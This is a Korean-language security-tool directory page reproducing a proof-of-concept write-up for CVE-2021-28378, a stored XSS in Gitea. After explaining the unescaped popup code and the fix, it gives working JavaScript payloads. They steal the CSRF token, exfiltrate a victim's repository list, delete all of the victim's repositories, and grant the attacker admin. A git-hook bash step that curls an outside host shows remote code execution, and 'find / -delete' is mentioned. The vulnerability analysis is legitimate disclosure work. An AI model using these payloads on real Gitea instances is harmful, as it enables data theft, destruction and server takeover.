Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-28378 — CVE-2021-28378에 대한 상세한 개념 증명 및 분석: Gitea의 저장형 XSS 취약점으로, git 훅을 통한 임의 코드 삽입, 권한 상승 및 원격 코드 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/pandatix/cve-2021-28378
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubpandatix/cve-2021-28378

CVE-2021-28378

CVE-2021-28378에 대한 상세한 개념 증명 및 분석: Gitea의 저장형 XSS 취약점으로, git 훅을 통한 임의 코드 삽입, 권한 상승 및 원격 코드 실행을 가능하게 합니다.

저장소 보기
438개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-28378

이 CVE에 대한 자세한 내용은 여기에서 확인할 수 있습니다.

이 CVE는 서버에서 가져온 콘텐츠의 클라이언트 측에서 문자열 이스케이프가 누락된 것을 대상으로 합니다. 공격자가 이슈나 풀 리퀘스트에 댓글을 작성하여 쉽게 임의 코드를 주입할 수 있게 합니다. 이는 2020년 1월 말에 커밋 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5에서 도입되었지만, 스쿼시(squash) 때문에 정확히 누가 이 취약점을 도입했는지와 유사한 버그가 도입되었는지 조사할 수 없습니다.

먼저, 이 취약점이 어디서 발생하는지 이해해 봅시다. 이를 위해 이 CVE를 수정하는 커밋을 살펴보겠습니다.

수정 전:

  • 첫 번째:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • 두 번째:
root@kitploit:~
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

label.name, issue.repository.full_name, issue.title, 에 HTML 이스케이프가 적용되지 않은 것을 볼 수 있습니다. 이 문자열들은 사용자가 조작할 수 있으므로 임의 코드를 주입할 수 있습니다. 은 너무 많은 규칙()을 따라야 하므로 이 CVE로는 우회할 수 없어 코드를 주입하기 위해 실제로 조작할 수는 없습니다. 정확히 이 PR이 로 캐스팅하여 수정한 부분입니다.

body
issue.repository.full_name
[\w._-]+
htmlEscape

수정 후:

  • 첫 번째:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • 두 번째:
root@kitploit:~
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

취약점 이해하기

web_src/js/features/contextpopup.js 파일을 간략히 살펴보고 CVE를 어떻게 트리거하는지 알아봅시다.

root@kitploit:~
...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

여기서 볼 수 있듯이 ref-issue 클래스를 가진 각 노드에 대해 취약한 팝업이 추가됩니다. 이제 사용자에게 ref-issue가 전송되는 위치를 찾아야 합니다. grep을 사용해 보겠습니다(테스트 파일 등 흥미 없는 결과는 제외). 다음 커밋 번호는 공식 docker-compose.yml 파일의 기본 버전인 1.12.4 태그에 해당하며, 이 CVE의 영향을 받습니다.

root@kitploit:~
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

이제 ref-issue 클래스를 가진 정적 콘텐츠는 없으며 동적으로 생성된다는 것을 알았습니다. 마지막 줄은 단순한 sanitizer 정책 규칙이므로 흥미롭지 않습니다. 나머지 줄은 흥미롭습니다. 그 이유를 알아봅시다.

modules/markup/html.go를 자세히 살펴보겠습니다.

root@kitploit:~
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

또한 getIssueFullPattern이 무엇을 하는지 이해해야 합니다.

root@kitploit:~
func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

어떤 작업이 수행되는지 요약해 보겠습니다.

fullIssuePatternProcessor에서 먼저 ctx.metas가 nil이 아닌지 확인합니다(스택 추적의 상위 함수/메서드에 의해 구축되므로 true라고 가정합니다). 그런 다음 노드 데이터가 http://mygitea.com/gituser/myrepo/issues/1과 같은 경로와 일치하는지 확인합니다. 일치하면 링크로 대체합니다. 링크가 동일한 사용자와 저장소에 관한 것이면 #<issue_id> 패턴으로, 그렇지 않으면 <user>/<repo>#<issue_id> 패턴으로 대체합니다. 두 경우 모두 팝업을 생성하기 위해 ref-issue 클래스가 추가됩니다.

다른 grep 결과도 비슷한 작업을 수행합니다.

이제 플레이할 시간입니다!

이제 컨텍스트를 파악했습니다. http://mygitea.com/gituser/myrepo/issues/1과 같은 링크를 더 짧은 링크로 바꾸는 작업이며, 이는 이슈와 PR에서 수행됩니다. 여기에 레이블을 추가하거나 댓글을 작성할 수 있습니다.

이를 위해 저장소에 쓰기 권한이 있다고 가정합니다.

레이블

저장소로 이동하여 임의 코드(예: <script>alert('label.name')</script>)가 포함된 이름으로 새 레이블을 만듭니다.

이슈

저장소의 이슈로 이동하여 제목과 본문에 임의 코드를 포함하고 이전에 만든 레이블을 추가한 새 이슈를 만듭니다.

코드 실행하기

임의의 저장소에 새 이슈를 만들고 본문에 http://mygitea.com/gituser/myrepo/issues/1과 같은 주입된 이슈에 대한 링크를 추가합니다. 그러면 앞서 본 링크로 대체되며, 누군가 링크 위에 마우스를 올리면 임의 코드가 실행됩니다. label.name이 포함된 팝업이 표시됩니다.

익스플로잇 시간

CVE-2021-28378은 임의 코드 주입이 가능함이 입증되었습니다. 공격자가 무엇을 할 수 있는지 상상해 봅시다.

Gitea에는 CSRF 토큰이 있어 양식을 작성하거나 API를 호출할 때 신원을 확인하여 Gitea iframe을 삽입하여 액세스를 탈취하는 보안 문제를 방지합니다. CSRF 토큰은 쿠키(_csrf)에 저장되지만, 사용자가 방문하는 거의 모든 웹페이지(예: /api/v1/swagger 제외)의 특정 필드에도 저장됩니다. 따라서 이슈/PR 웹페이지에도 있습니다. 가장 흥미로운 필드는 HTML 페이지의 공통 헤더 부분에 있으며, 항상 동일한 XPath(/html/head/meta[9])를 가집니다.

이 데이터를 사용하면 페이로드에 영향을 받는 모든 사용자로부터 인증된 작업을 보낼 수 있습니다. JS에서 다음과 같이 CSRF 토큰을 가져옵니다: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.

이제 창의력을 발휘하여 다양한 공격을 구축할 차례입니다. 행동에 제한이 있지만 너무 많지는 않습니다.

  • label.name과 issue.title은 짧아야 하므로 많은 페이로드가 들어맞지 않습니다. 그러나 src 속성이 있는 script를 주입하여 원하는 스크립트를 참조할 수 있습니다.
  • body는 길이 제한이 없지만 팝업 미리보기에서 데이터 미리보기가 제한됩니다. 페이로드가 트리거되려면 시작 부분에 있어야 합니다. 그러나 앞서 지정한 대로 script와 src 속성을 사용할 수 있습니다.

구축할 수 있는 몇 가지 예를 살펴보겠습니다.

사용자의 모든 저장소 가져오기

공격자가 사용자가 액세스할 수 있는 모든 저장소를 가져오려는 시나리오를 상상해 보십시오. 이 공격은 기밀성을 모두 깨뜨릴 수 있음을 증명합니다. 이 공격은 3단계로 수행됩니다.

  • CSRF 토큰 도용;
  • 저장소 목록 가져오기;
  • 이전 단계의 원시 JSON 콘텐츠로 새 티켓 생성.

이를 수행하는 JS 코드를 작성해 보겠습니다.

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        var xhrPost = new XMLHttpRequest();
        xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
        xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
    }
}
xhrGet.send(null);

이 페이로드를 자체 파일에 넣고 저장소에 업로드한 다음 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>와 같은 것을 사용하여 이슈 본문에 주입합니다.

이제 공격자는 이 주입된 이슈를 참조하는 이슈/PR에 댓글을 달 수 있으며, 누군가 링크 위에 마우스를 올리면 모든 저장소 데이터가 공격자에게 도난당합니다!

사용자가 액세스할 수 있는 모든 저장소 삭제

공격자가 사용자가 액세스할 수 있는 모든 저장소를 삭제하려는 시나리오를 상상해 보십시오. 이 공격은 무결성을 모두 깨뜨릴 수 있음을 증명합니다. 이 공격은 3단계로 수행됩니다.

  • CSRF 토큰 도용;
  • 저장소 목록 가져오기;
  • 각 저장소에 대해 삭제(적어도 시도).

이를 수행하는 JS 코드를 작성해 보겠습니다.

root@kitploit:~
var AppURL = "http://mygitea.com";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        data = xhrGet.response.data;
        data.forEach(repo => {
            var xhrPost = new XMLHttpRequest();
            xhrPost.open("POST", repo.html_url + "/settings", true);
            xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
        });
    }
}
xhrGet.send(null);

이 페이로드를 자체 파일에 넣고 저장소에 업로드한 다음 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>와 같은 것을 사용하여 이슈 본문에 주입합니다.

이제 공격자는 이 주입된 이슈를 참조하는 이슈/PR에 댓글을 달 수 있으며, 누군가 참조 위에 마우스를 올리면 액세스할 수 있는 모든 저장소가 삭제됩니다!

관리자 권한 획득

공격자가 관리자 권한을 얻으려는 시나리오를 상상해 보십시오. 이는 권한 상승이 가능함을 증명합니다. 이 공격은 2단계로 수행됩니다.

  • CSRF 토큰 도용;
  • 공격자에게 관리자 권한 부여(적어도 시도).

이를 수행하는 JS 코드를 작성해 보겠습니다.

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");

login_type 값은 Gitea 버전과 인스턴스가 로그인을 처리하는 방식에 따라 변경될 수 있습니다.

이 페이로드를 자체 파일에 넣고 저장소에 업로드한 다음 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>와 같은 것을 사용하여 이슈 본문에 주입합니다.

이제 공격자는 이 주입된 이슈를 참조하는 이슈/PR에 댓글을 달 수 있으며, 충분한 권한이 있는 사람이 참조 위에 마우스를 올리면 공격자에게 관리자 권한이 부여됩니다! 또한 이슈를 관리자에게 할당하거나 관리자가 감시 중인 저장소에 이슈를 생성하여(알림을 받게 됨) 성공 확률을 높일 수 있습니다.

RCE 획득

Gitea의 가장 """재미있는""" 부분은 git 훅을 구현함으로써 보안 고려 사항이 프로세스에 포함되지 않았다는 것입니다. 아마도 구현할 수 있는 최악의 아이디어 중 하나일 것입니다.

관리자 권한을 획득한 후에는 git 훅을 관리할 수 있는 권한을 부여할 수 있습니다(이전 페이로드로 달성). Gitea Git Hooks Remote Code Execution Metasploit 모듈과 같은 방식으로 진행합니다.

  • bash 페이로드를 post-receive git-hook에 추가합니다.
  • 비어 있더라도 커밋하고 푸시합니다.
  • 페이로드의 효과를 확인합니다.

이 RCE가 유효한지 확인하기 위해 유효한 id와 함께 다음을 넣어 보겠습니다.

root@kitploit:~
#!/bin/bash

curl https://requestbin.net/r/<id>

RequestBin 검사 패널에서 post-receive git hook을 트리거하는 파일을 제출한 후, User-Agent: curl/<version>을 가진 요청이 수행된 것을 볼 수 있으며 이는 유효한 RCE임을 증명합니다.

이 기능은 관리자가 트리거할 수 있는 모든 XSS에 대해 _csrf 값이 거의 모든 웹페이지에 포함되어 있으므로 Gitea에서 RCE를 얻을 수 있음을 의미합니다.

예방 방법

CVE 영향을 받는 버전에 따라 업데이트를 수행하십시오(공식 보고서 참조). 작성 시점: 1.12.0 ~ 1.13.4(제외).

참고 사항

영향을 받는 버전 목록과 테스트 상태입니다. 1.13.X 버전의 경우 [security] 섹션 아래 app.ini 파일에 DISABLE_GIT_HOOKS = false를 추가해야 합니다. 이 파일은 데이터 폴더 위치에 따라 data/gitea/conf/app.ini에 있을 수 있습니다(DockerHub에 문서화된 docker-compose.yml 파일의 경우 동일한 폴더에 있습니다).

버전XSSRCE
1.12.0✅✅
1.12.1✅✅
1.12.2✅✅
1.12.3✅✅
1.12.4✅✅
1.12.5✅✅
1.12.6✅✅
1.13.0✅✅
1.13.1✅✅
1.13.2✅✅
1.13.3✅✅

✅: 작동 확인됨 ; ❓: 테스트 필요 ; ❌: 작동하지 않음 확인됨

이 표는 독자가 점수 계산을 안내하기 위해 작성되었습니다. 점수에 대한 논의만을 위한 것이며 명령으로 받아들여서는 안 됩니다.

메트릭값설명
AV네트워크HTTP를 사용하여 상호 작용합니다.
AC낮음이슈(기본적으로 Gitea에서 모든 사람에게 활성화되어 있어 매우 쉽게 제기 가능) 또는 풀 리퀘스트만 필요합니다.
PR낮음대부분의 상황에서 이슈를 생성하려면 계정이 필요합니다(기본적으로 새 계정을 등록할 수 있음). 모든 계정은 읽기 전용 저장소에서 이슈를 생성할 수 있으며, 저장소가 이슈를 비활성화하도록 구성된 경우는 예외입니다(기본 설정이 아니며 거의 수정되지 않음).
UI필요함사용자나 관리자가 감염된 링크 위에 마우스를 올려야 페이로드가 트리거됩니다.
S변경됨RCE를 사용하면 호스트 시스템에 액세스할 수 있으므로 공동 배치된 서비스에도 액세스할 수 있습니다.
C높음관리자 권한을 획득하면 private으로 구성된 경우에도 모든 것을 관리할 수 있습니다. 데이터베이스 자격 증명을 도용하고, RCE를 사용하여 연결하고 데이터를 추출할 수 있습니다. RCE를 사용하면 Gitea가 인증/권한 검사를 수행하지 않는 파일 시스템을 직접 읽을 수 있습니다.
I높음관리자 권한을 획득하면 권한, 가시성, 저장소 코드를 수정하고 저장소를 삭제할 수도 있습니다. RCE를 사용하면 모든 것을 자유롭게 탐색하여 사용자, 파일 등의 무결성에 영향을 줄 수 있습니다.
A높음RCE가 주어지면 find / -delete로 전체 파일 시스템을 삭제하여 가용성을 완전히 상실시킬 수 있습니다.
E높음python 스크립트 exploit.py가 주어지면 베어 계정에서 루트 리버스 셸까지 취약점을 쉽게 악용할 수 있습니다.
RL공식 수정커밋 <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>로 수정되었으며, 마스터에 병합되어 Gitea 1.13.4에 포함되었습니다.
RC확인됨이 보고서는 XSS 원인 분석부터 RCE 예제 및 스크립트까지 여러 익스플로잇을 확인하고 보여줍니다.

벡터 문자열: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C

메트릭 그룹 이름점수설명
기본 점수9.0치명적
시간적 점수8.6높음
도구 다운로드